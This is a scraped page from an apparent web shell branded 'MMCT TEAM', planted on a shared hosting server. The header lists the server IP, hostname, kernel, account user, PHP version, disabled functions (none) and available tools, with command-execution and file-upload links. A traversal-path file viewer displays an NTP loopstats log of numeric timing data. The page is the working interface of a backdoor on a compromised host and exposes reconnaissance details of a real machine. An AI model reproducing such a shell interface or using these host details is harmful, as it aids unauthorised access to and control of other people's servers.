MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.138.170.67
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /mnt/../var/softaculous/modx/../cake/../tinyrss/../presta/../../log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //mnt/../var/softaculous/modx/../cake/../tinyrss/../presta/../../log/ntpstats/loopstats.20240603
60464 672.680 -0.003066429 -45.379 0.002943054 0.337644 10
60464 2799.675 -0.002145760 -45.648 0.002772152 0.329865 10
60464 3865.707 -0.002025822 -45.656 0.002593457 0.308574 10
60464 5964.678 -0.002179669 -45.932 0.002426567 0.304765 10
60464 7013.740 -0.002094989 -45.941 0.002270043 0.285097 10
60464 8040.683 -0.003070097 -45.952 0.002151235 0.266716 10
60464 9075.760 -0.000819147 -45.956 0.002163951 0.249492 10
60464 10151.694 -0.000861280 -45.959 0.002024245 0.233382 10
60464 11236.689 -0.000389756 -45.961 0.001900833 0.218309 10
60464 13332.728 0.002192634 -45.682 0.001998778 0.226730 10
60464 15416.758 -0.000120566 -45.697 0.002040732 0.212157 10
60464 15427.677 -0.002118859 -45.697 0.002035476 0.198454 10
60464 17567.746 -0.001582472 -45.895 0.001913434 0.198333 10
60464 18563.700 -0.001906914 -45.902 0.001793525 0.185540 10
60464 18599.692 -0.001478160 -45.902 0.001684524 0.173557 10
60464 20647.695 0.000274519 -45.900 0.001693194 0.162349 10
60464 21686.766 0.000461552 -45.898 0.001585217 0.151865 10
60464 22769.712 0.000513519 -45.896 0.001482949 0.142059 10
60464 23802.766 0.000239928 -45.895 0.001390540 0.132884 10
60464 24850.693 0.000240000 -45.894 0.001300731 0.124302 10
60464 25895.765 -0.000024734 -45.894 0.001220317 0.116274 10
60464 28035.688 0.000277959 -45.860 0.001146508 0.109454 10
60464 30169.778 -0.000338909 -45.902 0.001094412 0.103476 10
60464 31240.772 0.001376049 -45.897 0.001189813 0.096812 10
60464 33325.748 -0.003477666 -46.341 0.002045365 0.181226 10
60464 35486.770 0.000243027 -46.311 0.002321858 0.169855 10
60464 37429.691 0.001829476 -46.297 0.002243156 0.158954 10
60464 38510.780 0.000164342 -46.297 0.002179304 0.148688 10
60464 38685.729 0.000951087 -46.296 0.002057442 0.139085 10
60464 39763.687 0.001048271 -46.292 0.001924867 0.130110 10
60464 41927.684 0.007904512 -45.315 0.003019599 0.366207 10
60464 43002.776 0.007873043 -45.283 0.002824598 0.342737 10
60464 44089.735 0.003807179 -45.268 0.003007901 0.320647 10
60464 46188.724 -0.004883465 -45.888 0.004166227 0.371465 10
60464 47214.769 0.001712002 -45.881 0.004541508 0.347481 10
60464 49323.775 0.002833690 -45.523 0.004266662 0.348835 10
60464 51391.767 0.003240413 -45.106 0.003993687 0.358023 10
60464 52474.677 -0.003769873 -45.122 0.004483175 0.334943 10
60464 53543.770 -0.003993727 -45.138 0.004194373 0.313361 10
60464 54586.716 -0.004716755 -45.156 0.003931796 0.293194 10
60464 56736.770 -0.005407032 -45.828 0.003685946 0.362867 10
60464 57762.770 -0.004203125 -45.844 0.003474061 0.339478 10
60464 58788.703 -0.002253762 -45.853 0.003321967 0.317568 10
60464 59863.778 -0.004195818 -45.869 0.003182370 0.297117 10
60464 60907.755 -0.003510703 -45.883 0.002986673 0.277969 10
60464 61963.769 0.001022382 -45.879 0.003220838 0.260020 10
60464 64036.768 0.000918511 -45.761 0.003013042 0.246770 10
60464 66154.784 0.000247615 -45.730 0.002828406 0.231095 10
60464 67224.777 0.002652116 -45.719 0.002778957 0.216202 10
60464 68260.774 0.002563945 -45.710 0.002599663 0.202269 10
60464 69322.768 0.000858501 -45.706 0.002505401 0.189209 10
60464 71411.764 -0.001954737 -45.955 0.002545917 0.197697 10
60464 72472.769 -0.001970263 -45.963 0.002381494 0.184949 10
60464 74580.775 0.004904885 -45.343 0.003297125 0.279312 10
60464 76685.774 0.001841570 -45.110 0.003268814 0.273968 10
60464 77741.747 0.000553733 -45.108 0.003091410 0.256275 10
60464 79807.744 -0.001737222 -45.331 0.003003044 0.252420 10
60464 80845.766 -0.003136419 -45.343 0.002852316 0.236156 10
60464 81874.718 -0.002161876 -45.352 0.002690253 0.220924 10
60464 83966.703 -0.002939073 -45.726 0.002531459 0.245363 10
60464 85042.774 -0.001746446 -45.733 0.002405212 0.229529 10
60464 86104.753 -0.000940514 -45.736 0.002267841 0.214709 10

MMCT - 2023